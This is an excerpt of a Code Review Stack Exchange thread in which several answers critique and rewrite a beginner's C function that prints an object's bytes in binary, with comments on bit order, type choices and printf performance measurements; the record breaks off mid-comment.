"body": "<p>It's not terrible as it stands, but I think there are some ways it might be improved.</p>\n<h2>Include all needed files</h2>\n<p>The function needs several <code>#include</code> files that are not listed. Specifically, it needs these:</p>\n<pre><code>#include <stddef.h>\n#include <stdio.h>\n#include <limits.h>\n</code></pre>\n<p>It's important to list those, especially for a beginner.</p>\n<h2>Be careful with signed and unsigned</h2>\n<p>In the <code>binary</code> function, the compares an <code>int iByte</code> to a <code>size_t nBytes</code>, but <code>size_t</code> is unsigned and <code>int</code> is signed. Instead, declare both variables as <code>size_t</code> types, or better, see the next suggestion.</p>\n<h2>Count down instead of up</h2>\n<p>If we count down instead of up, not only do many compilers generate more efficient code, but we also avoid the signed/unsigned problem mentioned above.</p>\n<h2>Declare variables in as small a scope as practical</h2>\n<p>Putting all definitions at the top of the function is an antique style of C. In modern C (C99 and later) we declare variables as late as practical, ideally as they are defined, to avoid problems of uninitialized variables.</p>\n<h2>Use a bitmask directly instead of calculating</h2>\n<p>I would write the inner loop like this:</p>\n<pre><code>for(unsigned char mask = 1U << (CHAR_BIT-1); mask; mask >>= 1) \n</code></pre>\n<p>That makes it very clear that we're using a bitmask and how it is calculated and handled.</p>\n<h2>Use a convenience cast</h2>\n<p>Rather than casting <code>p</code> every time, I'd be inclined to declare an internal <code>unsigned char *</code> variable and use that instead.</p>\n<h2>Avoid encoding types in names</h2>\n<p>C is a statically typed language, so it is neither necessary nor desirable to encode the type within the name. See <a href=\"https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#nl5-avoid-encoding-type-information-in-names\" rel=\"nofollow noreferrer\">NL.5</a> for more. (Those are C++ guidelines, but this is equally applicable to C.)</p>\n<h2>Use pointers</h2>\n<p>Sooner or later, even beginners are going to need to learn how to use pointers. They have the considerable advantage here in simplifying the code.</p>\n<h2>Use <code>const</code> where practical</h2>\n<p>The function does not and should not modify the pointed-to value, so it's better to make that explicit and declare it <code>const</code>.</p>\n<h2>Consider separating the function into two</h2>\n<p>One way to think of this code is that it's printing one or more bytes with additional separators and formatting. That suggests an alternative which is to separate out the part that just prints the ones and zeroes from the loop.</p>\n<h2>Results</h2>\n<p>Here's the slightly refactored code using all of the suggestions above:</p>\n<pre class=\"lang-c prettyprint-override\"><code>#include <stddef.h>\n#include <stdio.h>\n#include <limits.h>\n\nvoid toBinary(const unsigned char *ptr) {\n for(unsigned char mask = 1U << (CHAR_BIT-1); mask; mask >>= 1) {\n putchar(*ptr & mask ? '1' : '0');\n }\n}\n\nvoid binary(const void* p, size_t nBytes) {\n for(const unsigned char* ptr = p; nBytes; --nBytes) {\n putchar('[');\n toBinary(ptr++);\n putchar(']');\n if(nBytes > 1) {\n putchar('\\t');\n }\n }\n putchar('\\n');\n}\n\n#define BINARY(x) binary(&x, sizeof x)\n\nint main(void) {\n char a = 85;\n int b = 0x12345678;\n BINARY(a);\n BINARY(b);\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T18:29:20.917",
"Id": "513513",
"Score": "2",
"body": "Comments are not for extended discussion; this conversation has been [moved to chat](https://chat.stackexchange.com/rooms/123597/discussion-on-answer-by-edward-bytes-to-binary-conversion-function)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T19:30:00.150",
"Id": "513518",
"Score": "0",
"body": "This answer has different output that OP's when `nBytes== 0`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T20:52:29.700",
"Id": "513532",
"Score": "0",
"body": "The different output is intentional, as is printing the most significant bit first. As for moving to C2x, that's an excellent suggestion. I also wondered about returning a value such as the return value of `putchar`."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T12:32:35.147",
"Id": "260118",
"ParentId": "260111",
"Score": "8"
}
},
{
"body": "<h1>Interface</h1>\n<p>I find it helps if we use verbs for function names. Instead of saying, "Here's some memory, let's <code>binary()</code> it," it's more natural to say, "Here's some memory, let's <code>print()</code> it." Now obviously <code>print</code> is much too general a name in C that has no overloading or namespaces, so we'd have to qualify: <code>print_as_binary()</code>.</p>\n<p>Since we don't plan to modify the pointed-to variable, we should accept <code>p</code> as a pointer to <code>const void</code>.</p>\n<p><code>size_t</code> is absolutely the right choice for a count variable such as <code>nBytes</code>.</p>\n<h1>Implementation</h1>\n<p>We don't need to create <code>iBit</code> and <code>iByte</code> up-front like that in modern C. We can give them smaller scope by declaring them within their respective <code>for</code> initialisations.</p>\n<p><code>iByte</code> really ought to match the type of <code>nBytes</code> - comparing signed and unsigned types is tricky, and we need to have at least the same range as what's passed to the function. The type of <code>iBit</code> doesn't matter, as we know that <code>CHAR_BIT</code> will be well within its range, regardless.</p>\n<pre><code>for (size_t iByte = 0; iByte < nBytes; iByte++)\n</code></pre>\n<p>When choosing the character to print, we could take advantage of the fact that C guarantees that <code>0</code> and <code>1</code> will have consecutive character codes:</p>\n<pre><code>putchar('0' + (bit & 1));\n</code></pre>\n<p>It's probably easier to print the separator string before the data, as that makes for a simpler test (<code>iByte != 0</code>).</p>\n<p>We might want to assign <code>p</code> to an <code>unsigned char*</code> variable rather than explicitly casting it in the loop.</p>\n<p>It's very surprising to see binary numbers written backwards like that. The standard convention in mathematics and programming is to write the most-significant bit first.</p>\n<h1>The macro</h1>\n<p>It's good practice to wrap all expansions of macro arguments within parentheses, so that if we are passed an expression, it is treated as a single unit:</p>\n<pre><code>#define BINARY(x) binary(&(x), sizeof (x))\n</code></pre>\n<hr />\n<h1>Modified code:</h1>\n<pre><code>#include <limits.h>\n#include <stdint.h>\n#include <stdio.h>\n\nvoid print_as_binary(const void *p, size_t nBytes)\n{\n const unsigned char *const q = p;\n\n putchar('[');\n for (size_t iByte = 0; iByte < nBytes; ++iByte) {\n if (iByte) {\n fputs("]\\t[", stdout);\n }\n for (int iBit = CHAR_BIT; iBit > 0; --iBit) {\n int bit = q[iByte] >> (iBit - 1);\n putchar('0' + (bit & 1));\n }\n }\n\n printf("]\\n");\n}\n\n#define PRINT_AS_BINARY(x) print_as_binary(&(x), sizeof (x))\n\nint main(void)\n{\n int t = 1000000;\n PRINT_AS_BINARY(t);\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T04:23:12.947",
"Id": "513405",
"Score": "0",
"body": "\"Endian\" only applies to separately-addressable chunks of a larger type. e.g. byte-addressable memory introduce the possibility of endianness for wider integers. A word-addressable machine doesn't have endianness for word-sized integers. Displaying the bits of a byte LSB-first isn't \"little endian\", it's just backwards, unless you're on a bit-addressable machine (like a small memory region on 8051). In C, endianness is meaningless for any type with `sizeof(T)` == 1, which is true by definition for `unsigned char`. It only has binary place value. (I wrote an answer that includes that.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T06:15:01.067",
"Id": "513417",
"Score": "0",
"body": "Yes, sorry for the slip. Edited with correct wording."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T12:33:57.867",
"Id": "260119",
"ParentId": "260111",
"Score": "6"
}
},
{
"body": "<h1>The good:</h1>\n<ul>\n<li><p>Avoids assumptions on <code>CHAR_BIT</code> being 8. (There are C implementations for modern DSPs with CHAR_BIT = 16, 24, or even 32, so this is not totally irrelevant for portability.)</p>\n<p>Note that @Edward's original suggestion to use <code>mask = 0x80</code> would undo that. You could use <code>mask = 1U << (CHAR_BIT - 1)</code>. Interestingly, that shift can't overflow: if CHAR_BIT is large, by definition <code>unsigned</code> is still at least 1 char wide and thus you won't be shifting by more than the type-width. (And its value-range is to be at least as wide as <code>unsigned char</code>, IIRC, so it can't be the same width but with padding bits).</p>\n</li>\n<li><p>Strict-aliasing safe, <code>char*</code> and <code>unsigned char*</code> can read (and even write) any memory.</p>\n</li>\n<li><p><code>unsigned char</code> is guaranteed to have no padding bits in its own object-representation, unlike other types including <code>signed char</code>. (And to be a binary integer). So yes, it's the right choice of type for dumping the object-representation of other objects in C.</p>\n</li>\n</ul>\n<h1>The bad:</h1>\n<ul>\n<li><p><strong>You prints bits backwards, in least-significant-first order</strong>!!! Endianness is a matter of byte order, not bit order. It's for the bytes within a wider integer (the <code>char</code> units for a type with <code>sizeof(T) > 1</code>), <em>not</em> for the bits within a word or byte. A right shift <em>always</em> divides by 2, and <code>c & 1U</code> is always the ones place.</p>\n<p>There is no sense in which it's meaningful to talk about the order bits are stored within a byte as machine-dependent (unless you're on a microcontroller like 8051 that has a range of bit-addressable memory). Being able to access separate <code>unsigned char</code> chunks of a <code>uint32_t</code> is what creates the notion of endianness, but an <code>unsigned char</code> is by definition the smallest access unit in C.</p>\n<p>Our English writing system with Arabic numerals uses most-to-least significant digits in left-to-right order. i.e. most-significant-first if printing 1 digit at a time into a normal left-to-right output stream. <strong>Within a chunk not separated by spaces, digits should always be in most-significant-first order</strong>, in any base including 2. For the same reason you'd want to dump <code>1<<4</code> as <code>16</code>, not <code>61</code> in decimal.</p>\n<p>Treating more than 1 byte as a single chunk of output digits (e.g. a whole <code>uint32_t</code> with <code>sizeof(uint32_t) == 4</code>, or <code>memcpy</code> into an <code>unsigned</code> and format with <code>printf("%x")</code>) <em>would</em> introduce endianness considerations: different appearance on a little-endian machine from dumping it as one 32-bit chunk with the whole thing in MSB-first order vs. four separate 8-bit chunks each with their MSB at the left.</p>\n<p>There are various ways to solve this problem, like starting with a mask to select the high bit, rotating left by 1 to get the MSB to the bottom (except C only has shifts, not rotates), or store digits into a buffer.</p>\n</li>\n<li><p>You print a single <code>[</code> if called with <code>nBytes = 0</code>. That's fine if that can never happen.</p>\n</li>\n<li><p><code>printf</code> is somewhat expensive for a constant string; it has to check it for format characters. <code>fputs</code> would avoid that. Or batch up all the digits for a byte into a buffer, and <code>printf("[%s]", buf)</code> to actually take advantage of <code>printf</code>. (Every stdio call has to lock/unlock the <code>stdout</code> buffer, so <code>putchar</code> isn't as fast as you might hope, and one <code>printf</code> even with some formatting work to do might be faster.)</p>\n</li>\n<li><p>Style: Declaring variables at the top of the function is widely considered less readable, and it's been over 2 decades since C99 made that unnecessary.</p>\n<p>Also, there's a lot going on in some expressions. I'd find it easier to load an <code>unsigned char</code> once in the outer loop, then extract its bits. Probably also more efficient, letting the compiler keep it in a register instead of reloading across I/O function calls like <code>putchar</code>.</p>\n</li>\n</ul>\n<h1>The unnecessary:</h1>\n<ul>\n<li><p>It <em>is</em> safe to assume that <code>'0' + 1 == '1'</code>, <a href=\"https://stackoverflow.com/questions/15598698/why-does-subtracting-0-in-c-result-in-the-number-that-the-char-is-representing/15598759#15598759\">ISO C guarantees it for decimal digits</a>. So <code>'0' + (c&1)</code> is fine, and perhaps a useful demonstration for a student that not every conditional behaviour has to be by branching / selecting if you can turn it into a simple calculation. OTOH, it's <em>not</em> guaranteed that <code>'a' .. 'z'</code> are contiguous; that's true in common character sets like ASCII / Unicode, but ISO C doesn't guarantee that. And C implementations for EBCDIC machines do exist.</p>\n</li>\n<li><p>You don't really need to use a variable-count shift. It's a mostly matter of style whether it's easier to increment / decrement a shift count, or to right-shift a mask or the number in a loop. But notably Intel CPUs (unlike AMD) have somewhat less efficient variable-count shifts than fixed-count (3 uops instead of 1), but a smart compiler could still optimize other instructions. And some embedded CPUs only have shift-by-1. Minimizing variable-count shifts is a minor optimization trick that only sometimes applies, and don't worry about it if your source is more readable with it.</p>\n</li>\n</ul>\n<p>Obviously there are a ton of ways to do this, differing in style and which specific output functions you use.</p>\n<p>If you want to do it maximally efficiently, machine-specific (with intrinsics) tricks like doing <a href=\"https://stackoverflow.com/questions/67201469/convert-16-bits-mask-to-16-bytes-mask/67203617#67203617\">16 bits -> 16 bytes at once with x86 SSE2 SIMD</a> are much faster than going 1 bit at a time. I updated my answer there with an AVX2 version of <code>binary_dump_4B</code>, which formats into <code>[bits]\\t[bits]\\t...</code> like this for exactly 4x 8-bit bytes, i.e. an x86-64 <code>int32_t</code>. <code>puts</code> or <code>fputs</code> output is still the most expensive part (now by a very large margin), so this is mostly for fun to see what the code would look like, or if you wanted to adapt to other ways to use the result.</p>\n<p>(Ideally compilers would auto-vectorize simple loops like these if you store into a buffer instead of calling <code>putchar</code> for each digit separately, but in practice probably not even then). There is even <a href=\"https://stackoverflow.com/questions/8461126/how-to-create-a-byte-out-of-8-bool-values-and-vice-versa/51750902#51750902\">a portable multiply bithack</a> that can expand the bits of an 8-bit byte into a <code>uint64_t</code>, but storing that to memory in MSB-first printing order (with <code>memcpy</code>) would depend on the machine's endianness. (You've made it clear that the goal is simplicity, so you aren't interested in performance at its expense, but I mention this for the interest of other readers.)</p>\n<h2>Here's my version, which didn't come out as idiomatic as I'd hoped.</h2>\n<p>The loop structure is kind of what you'd do if writing by hand in asm (without SIMD or byte-at-a-time bithacks), which is why I came up with it in the first place. That's probably not a good thing, but I didn't need a separate loop counter.</p>\n<p>I tried to find a way to avoid peeling the last iteration of the inner loop without totally rewriting it, but unfortunately, it's UB in C for a pointer to even <em>exist</em> that's not pointing to an object or to one-past-the-end. And all the ways I could think of to decrement a pointer either before or after storing would involve doing a decrement past the start of <code>buf</code>, which is not strictly legal even if we're trying to compare that value to anything. I did at least manage to use a <code>while()</code> loop instead of <code>do{}while()</code> which would separate the condition from the initialization.</p>\n<p>@chux's answer used a loop counter for that inner loop, which ended up working nicely, but still a pointer increment for reading bytes of the source data.</p>\n<p>Pointer increments are normal, and a style I often prefer, but indexing an <code>unsigned char*</code> with <code>size_t</code> is perfectly normal, too and something many other readers seem to find more comfortable. <code>int</code> as an index is ok if you don't care about being asked to dump gigantic buffers. Changing to a pointer-increment for the outer loop did reduce the need to think of names for variables, or for readers to keep track of them. (OTOH, debugging experience is often nicer if you keep your incoming function args unmodified.) Casting to <code>const unsigned char*</code> for every dereference of the <code>void*</code> was never very nice, and something you'd want to pull out into a variable anyway.</p>\n<p><strong>Positive things in this version:</strong></p>\n<ul>\n<li>Prints digits in the correct order, formatting into a char buffer starting with the LSB at the end, finishing with (what was) the MSB at the lowest address.</li>\n<li>One <code>printf</code> per byte (<code>unsigned char</code>) to be dumped handling all the formatting and the digits should be good for efficiency.</li>\n<li>Loading from the input once in the outer loop into a local var is good for efficiency: the compiler knows that the local var won't be modified by any function calls or stores. It also makes it easy to see how we're just shifting the bits of that integer. (I loaded into an <code>unsigned int</code>, because zero-extending into that preserves the binary value, and is at least as efficient to manipulate as an <code>unsigned char</code>.)</li>\n<li>var names don't have <code>i</code> prefixes; that's not normal C style. (I borrowed the <code>print_as_binary</code> function name from @Toby's answer)</li>\n<li>Easily adaptable to print only a newline if called with <code>bytecount = 0</code>. (Although yours could just have done <code>if (!n) return;</code> at the top)</li>\n<li>Branchless handling of no tab (<code>'\\t'</code>) on the first iteration by unconditionally selecting a new format string after the first print. Keeps all the conditional stuff tied up in what <code>printf</code> does when you pass it a string. Using a 1 byte offset into a string literal avoids needing two separate string literals. A single unconditional assignment is more efficient than branching on a loop counter to maybe do extra printing.</li>\n</ul>\n<p><strong>Negative things in this version:</strong></p>\n<ul>\n<li><p>It introduces a buffer, making off-by-one errors and other pointer errors much more possible. I think the way I loop over it makes the correctness fairly easy to see, without any random <code>+1</code> or <code>-1</code> offsets to sizes. Introducing more variables would be more to keep track of and be overall worse, IMO.</p>\n</li>\n<li><p>Unusual usage of a <code>%.8s</code> or <code>%.*s</code> format <a href=\"https://en.cppreference.com/w/c/io/fprintf\" rel=\"nofollow noreferrer\">(printf on cppreference)</a> to print a char array that's <em>not</em> zero-terminated. (I could have made the array 1 longer and zeroed the last byte, but I chose the more efficient(?)<sup>1</sup> way for fun; IDK how much more work it takes <code>printf</code> to parse this format vs. a plain <code>%s</code>!).</p>\n</li>\n<li><p>The inner loop "had to" peel the final iteration, so we repeat the <code>'0' + (bits&1)</code> logic. (With the <code>&1</code> optimized away because it's the last iteration).</p>\n<p>If were were going to make the buffer larger to allow rearranging the inner and its condition to avoid going off the start of the array (which would be UB) while still detecting loop exit after storing the last bit inside the loop; probably the best bet would be to format the <code>"\\t[....]"</code> manually in that buffer and using <code>fputs</code> or <code>fwrite</code>. (Especially after single-stepping into printf and seeing how much work it does parsing a format string and copying the fixed-string parts before/after the format.)</p>\n</li>\n</ul>\n<p>Some other changes are basically different for no reason, not particularly better, just to demonstrate the alternative.</p>\n<pre><code>// includes, macro, and main borrowed from @TobySpeight's answer.\n#include <limits.h>\n#include <stdint.h>\n#include <stdio.h>\n\nvoid print_as_binary(const void *input, size_t bytecount)\n{\n // bytecount assumed to be non-zero, although we *could* use while(bytecount--) { } and print nothing for count==0\n const unsigned char *inp = input;\n const char *tab_format = "\\t[%.*s]";\n const char *format = tab_format + 1; // without the tab for first iteration\n do {\n unsigned int bits = *inp++;\n\n char buf[CHAR_BIT];\n char *bitp = buf + CHAR_BIT; // one past end\n while(bitp != buf) {\n *--bitp = '0' + (bits&1); // LSB into buf, working backwards from the end\n bits >>= 1;\n }\n *bitp = '0' + bits; // it would be UB to end with bitp pointing before buf, so we can't use *bitp-- with a different start / end condition. Peeling this last iteration works\n\n // alternative: fwrite(buf, 1, CHAR_BIT, stdout) with separate fputs("\\t[") and putchar(']')\n printf(format, CHAR_BIT, buf); // format includes a width limit because buf[] is *not* 0-terminated.\n format = tab_format; // branchless way to include a separator at the start of later prints.\n } while(--bytecount);\n\n putchar('\\n');\n}\n\n#define PRINT_AS_BINARY(x) print_as_binary(&(x), sizeof (x))\n\nint main(void)\n{\n int t = 1000000;\n PRINT_AS_BINARY(t);\n}\n</code></pre>\n<p>Tested and works, <a href=\"https://godbolt.org/#z:OYLghAFBqd5QCxAYwPYBMCmBRdBLAF1QCcAaPECAM1QDsCBlZAQwBtMQBGAFlJvoCqAZ0wAFAB4gA5AAYppAFZdSrZrVAB9LclIj2yAnjqVMtdAGFUrAK4BbWstPoAMnlqYAcnYBGmYiABmGVIAB1QhQiNaSxt7ZTCIwzpXdy9bX38g3Ux9JNoGAmZiAhi7B05s3KiCooIUzx8/QOChQuLSuIrW2vq0jOaASl1Ua2JkDikAUgAmALdkGywAakmA81Y8W0IhADoEVexJmQBBGbnaBetl1fNW/Ho9g6PT2fnFzBW1u6NHgMOT55nLBUNwfbAADVExw8ABENBBxAMVrNxIDZsDQUsGAAVABKAEkPABxfEAMQAmgikRCobD4YjAScAG6oPDoJYhYhuAgaZhCDTeNxFACeEDQtFaSxZbKWACo3CFrARSEsIgAvTAaAhLbzCgiYNDWegDQEAdgAQs8ltalgB6W06vUGkb0JZ8oR2TDsog6j60OgAWg1xFQKrYBAQI2ACCWAHcPrLDax0LKltYRHGEHh2BBdfrDfQAwGkZMLStTTC3WYOVzXf6I25gEsaMQlgWCKsYZ2ZFabeLJUaIsB3OzkAginKFZ9KwqlatLScbW26JKxxPZYVvBoW7ZmNrO8jppMAKzmDvHy3TY87WVCE9d6ZHgLmm32paYHbAHaHk9nk%2BX69b3vGYj0XPsV21NdW1lHc92nJZN23Ehd33aYX04edrTfWNCEjJUEIQD5N2bEhmzwYhJUIPw9yiXtrXQVBywXY4lyXQc8GHL0lm5HVtng%2BVaBCGZL0tZ9GRY1jrSgnVrCof9zAACWOXENHNfFsWAsSwMk6TZUFAgQng7xZORF9FOU1T1Mw18HToD4Qj5bUnDo1jYyzHN9MMsAwAPYyqBLC0XMk61ZSLTz4LAWRItMpZc22GYADZOBNZ8lzfZwGBfblGL8lVYxIABrRsdWYZACtjIp0CEZsQ1sAiPmc7TgutfTqqeP4DwwrSJMk0suyapc9MIQyD0imRouE3iCDvVKsIdQg4xGZNfSWAQXx9Jw41wqbDLCblit8FsPly1VGPjNs1Ei7V0wTTyiy2iM3SWfAqCoPxTG1bpijtd9q3FfA8m/JZREwHJiobarVEo/ViBouhFuIAq7wBAabLdVgYdoGimQ4ZtYy5fVc1klUKiWcyVLU7EVTuEYCCRB6YxEBzYf1ZtFWmiAQN/c9L2mJE1HZdmoIgSL70ik1UetTluSoahkL3FVycsqmZP86y31g7U3iuTBquYLb0EejYtm1XwWBu1X/3vbjqtletUxkAMYa2LH9XQHYgptTX4MQzXrOauadVhi4EHYIRqoq4UEMY7Xln1pmij3Ui4IjD4vu1VAqCWVQYZrbldhcvrM2zTAIDCp12xS5iXKF8diBFqZT1ocX5zNfrTgBdFMBBdxgYJDxsQ0Y4GEsjxlMpRE8/oXl%2BUFLHiFFRKqWpvANUz2LEQljvjh43c3AgaV0C30tmKXHj9wCStOBkG/b9bprRH7wfh9H8eIDp%2B/TgrcSf9eLOe2ZKyQWtYeR8gFEKBeWpUC6jFBBKUQC5QhBXhqLUSxaDmidEIY%2BgUmr9muhKDiI42x1zlHgpYABHeCQluo1yVMLUWF4W7dSXC2WK6pNRawwazA8PZZp4C4R8G4aCBEzRfKZYS/CnQBVPsFPAWcICSP1NIz2kkqDsyEJzR8wFTw8xAtTAgDElRVxUeWduzVWEKNdPwhaB4laU2stYi%2B2Ali8LEUWRxyjJasR4vpeC5D/yKMwNbdqziFHmgWgGJYyVP4BxtLXIoDdxpSBinFVCCUokDGMV4vqhdv4ox6lPAgssubHi7E3ECWSv7tzOE4ORUghisGkMeeQDhZDyFQNIcwp1RjjGRAETg8gCDSDkJk0gBUQDHmCI0qQ3AWnDPadIeQQgQDBCGW0oYcBYAwEQCgVAtgQglzIBQWB%2BzDkoAWGoYAnBpg3z4NmGGyzczzNIHPEU0gBmkDQLYWwH0ADytBWDCmeVgXc6h2DAvIgaQwONlltNIJgcQBolQTDkOQegORnkbG8LDBelgsDvMGVyWwBKhj8EYCwcFPA%2BB0AIMIMQkg4VKAqKodQIAtAaB0Fi5ZkAhioBCHkWFAYqA42IN4cImAAx8jqgGX5ARrRCv9AGI0IZWCsADKwVAfLqpCtEPiZxCrUABhCBjJZOQoVRBMGYDo5R4VmF6I0fwFQEiRDoNa%2BI4QXW0HtekJoXQzUGGqG0EoVgyjKD0OaugNRijev6F0INbq409FBH0X1QwhAjDGBwZKKgmlzLhR0qQ4gAAcCUAwJW4G2FlTZrk7BkLW2KuBCCkTOKTSwpz2CthbUicwgz5mjPGZMnNMz5DEqSjsAIx5picASgATknceU0/TjxFtIK01FBalkrNIGskZpBNk7NpuzcglAvkHI7Y4AGJBlBkqYGwLNvAyV0okM8/GzAQgkqHc01dzyC0toZksYtpby2VsuVE6Ytba29vWUMQizAsD%2BAgA06QszSDEoCEWnY5bTRFqCNwU03BpgJSLQR79%2BbFm6C3Tu%2BpQwB1TOkAEPN67yNUdGdM6YI6uC3LXQsqQUGRlDBFREYw3AgA\" rel=\"nofollow noreferrer\">on the Godbolt compiler explorer</a>, makes pretty decent looking asm for x86-64. But unfortunately compilers don't manage constant-propagation for a constant arg; I was kind of hoping it might inline as four 8-byte stores of ASCII digits, not even for a single <code>uint8_t</code>.</p>\n<p>Compilers also don't auto-vectorize the inner loop even once the print function calls are sunk out of it. (They will fully unroll, so they still do see that the inner iteration count is fixed at <code>CHAR_BIT</code>.)</p>\n<hr />\n<p><strong>Footnote 1</strong>:\nI had expected that taking the width as another arg via a <code>%.*s</code> format would be slightly more work for <code>printf</code> than parsing a single digit, but it turns out that's not the case.</p>\n<p>x86-64 Arch Linux GNU/Linux glibc 2.35-2 (which was built with gcc10.2), runs about 40 to 50 fewer instructions total according to <code>perf stat --all-user</code>, for the whole executable, for the variable-width format. Source compiled with the same gcc10.2, <code>gcc -O2 -g -fno-plt itob.c -o itob-var-width</code>. About 207,926 instructions executed +-2 or 3. But the version using a CPP stringify macro on <code>CHAR_BIT</code> to embed it into the format string (see initial version of this answer) ran about 207,963 to 207,976 instructions, more variability for some reason. This is only an approximate proxy for actually faster vs. slower; I didn't check if one had more branching than the other. A <a href=\"https://godbolt.org/z/9q5nnxfh3\" rel=\"nofollow noreferrer\">better version</a> of glibc's <a href=\"https://github.com/lattera/glibc/blob/895ef79e04a953cac1493863bcae29ad85657ee1/stdio-common/printf-parse.h#L70\" rel=\"nofollow noreferrer\"><code>read_int</code> internal helper function</a> might help; printf ends up doing more work than I expected to handle a single digit.</p>\n<p>Similar results with <code>gcc -O2 -static -no-pie -fno-pie</code> on the same system (again measured with <code>perf stat --all-user -r10</code> with perf 5.10 on Linux 5.9.14 on i7-6700k Skylake):</p>\n<ul>\n<li>45,630 +- 2 user-space insns per run of the whole program for <code>"%.8s"</code> embedded width</li>\n<li>45,568 +- 3 user-space insns for <code>"%.*s"</code> with an extra CHAR_BIT arg</li>\n</ul>\n<p>(Calling <code>PRINT_AS_BINARY()</code> again from main after <code>t++</code>, <code>%*.s</code> runs ~48,635 instructions, so ~3067 is about the incremental cost of another 4 printf calls (and one putchar). (The 6 instructions per bit in the inner loop, and other overhead outside the printf calls, is minor compared to printf). For <code>%.8s</code>, the incremental cost is ~3095 instructions per PRINT_AS_BINARY. Formatting into a buffer manually and calling <code>write</code> manually, even written like this in plain compiled C without any bithacks, would likely take under 300 x86-64 instructions, bypassing stdio buffering. Again, real performance is measured in cycles, not instructions, and the system call still probably dominates, especially when we're line-buffered and writing to a TTY.)</p>\n<p>I also tried Intel's <code>sde -mix</code> dynamic binary-instrumentation program to count user-space instructions, but it's not constant either. Perhaps some retries based on RDTSC wrapping?</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T07:09:54.967",
"Id": "513439",
"Score": "0",
"body": "@TobySpeight: Passing another arg to printf at runtime is presumably slower than having it embedded in the format string. (I think I mentioned that buried in a bullet point in the answer, but easy to miss.) I also considered using `char buf[CHAR_BIT+1]` and then `printf(format, bitp)` or something, or maybe just `buf+1`, but inventing more variables or scattering more +1s is more stuff to keep track of when making sure there's no off-by-one / array out of bounds error. If I wanted a larger array, I'd just store `buf[CHAR_BIT] = 0;` outside the outer loop and avoid field-width shenanigans."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T07:23:14.270",
"Id": "513442",
"Score": "0",
"body": "@Toby: The thing that makes me guess it would be slower is that printf is variadic. The AMD64 System V calling convention isn't optimized for passing varargs the way Windows x64 is, so although it will probably have already paid the cost to dump its integer register args into an array on function entry, every time it wants to fetch another one it has to check an index to see if it should switch to the stack args. (Windows x64 has shadow space so it can dump args there, forming a contiguous array with the stack args. A few other calling conventions work like this, but ARM64 doesn't AFAIK)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T07:25:04.573",
"Id": "513443",
"Score": "1",
"body": "@TobySpeight: but OTOH, assuming CHAR_BIT = 8, it's just parsing a single-digit integer until it reaches a non-digit, which should be pretty cheap if the code is written well and the compiler does a good job. e.g. in hand-written asm it looks like this: [NASM Assembly convert input to integer?](https://stackoverflow.com/a/49548057). Although if it does a locale-aware isdigit that could be slower. I'm probably going to go single-step into printf now and see what it looks like :/"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T11:24:54.477",
"Id": "513456",
"Score": "0",
"body": "@TobySpeight: For the record, `\"\\t[%.8s]\"` makes a binary that executes somewhere between 207963 and 207976 instructions in user-space, according to `perf stat --all-user`, on x86-64 Arch Linux, glibc 2.32-5 (built by GCC10.2.0). (glibc's [`read_int` helper function](//github.com/lattera/glibc/blob/895ef79e04a953cac1493863bcae29ad85657ee1/stdio-common/printf-parse.h#L70) doesn't get inlined, and it's written fairly inefficiently: https://godbolt.org/z/o983rT4Kb has a better version I think is safe, but having to check for int overflow makes it take more work than I expected, and non-inline)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T11:28:51.993",
"Id": "513457",
"Score": "0",
"body": "@TobySpeight: The `\\t[%.*s]` way (with CHAR_BIT as an arg) is actually fewer total instructions, by about 40 to 50 insns over 4 calls to printf: 207,926 total. (With tons of overhead from dynamic linking startup, but instruction counting with perf counters is quite precise, and these numbers are pretty repeatable across runs.) Anyway, turns out inside prints there's tons of work happening, like an AVX2 strchr for `%` which finds one 1 char after the opening `[`, then a bunch of stdio buffer handling and a memcpy of that 1 byte, then parsing the format, then another strchr and memcpy of `]`.."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T11:30:37.933",
"Id": "513458",
"Score": "0",
"body": "So it would probably be much faster to store the digits into a into a local buffer that already had the `\\t[` and `]` framing in place. We can pull the same trick with pointer+1 to skip the `\\t` on the first print of the buffer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T12:00:32.870",
"Id": "513460",
"Score": "1",
"body": "@TobySpeight: After switching to `\\t[%.*s]` and removing the clutter, it looks dramatically nicer; hadn't realized how much of the ugliness was coming from the STRINGIFY crap!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T12:18:37.350",
"Id": "513463",
"Score": "0",
"body": "That's some great investigation, all from a somewhat throwaway comment - I didn't expect you to actually _do_ the measurements. With the performance difference being so small (and likely very platform-dependent- could easily go the other way), I'd choose the more readable option pretty much every time."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T12:29:37.213",
"Id": "513464",
"Score": "0",
"body": "@TobySpeight: I expected the difference if any to only be under 20 instructions per call (but I guessed it would be the other way). Still, an extra branch mispredict could still outweigh that in terms of clock cycles (what *really* matters), and like I said I didn't really look at *which* instructions were different. Re: actually checking: it was mostly for my own curiosity / fun, once you got me questioning my initial guess I wasn't at all sure it was right. `gcc -fno-plt` + GDB `layout reg` does make it fairly straightforward to step into a libc function without lazy dynamic linking."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T14:18:18.100",
"Id": "513481",
"Score": "0",
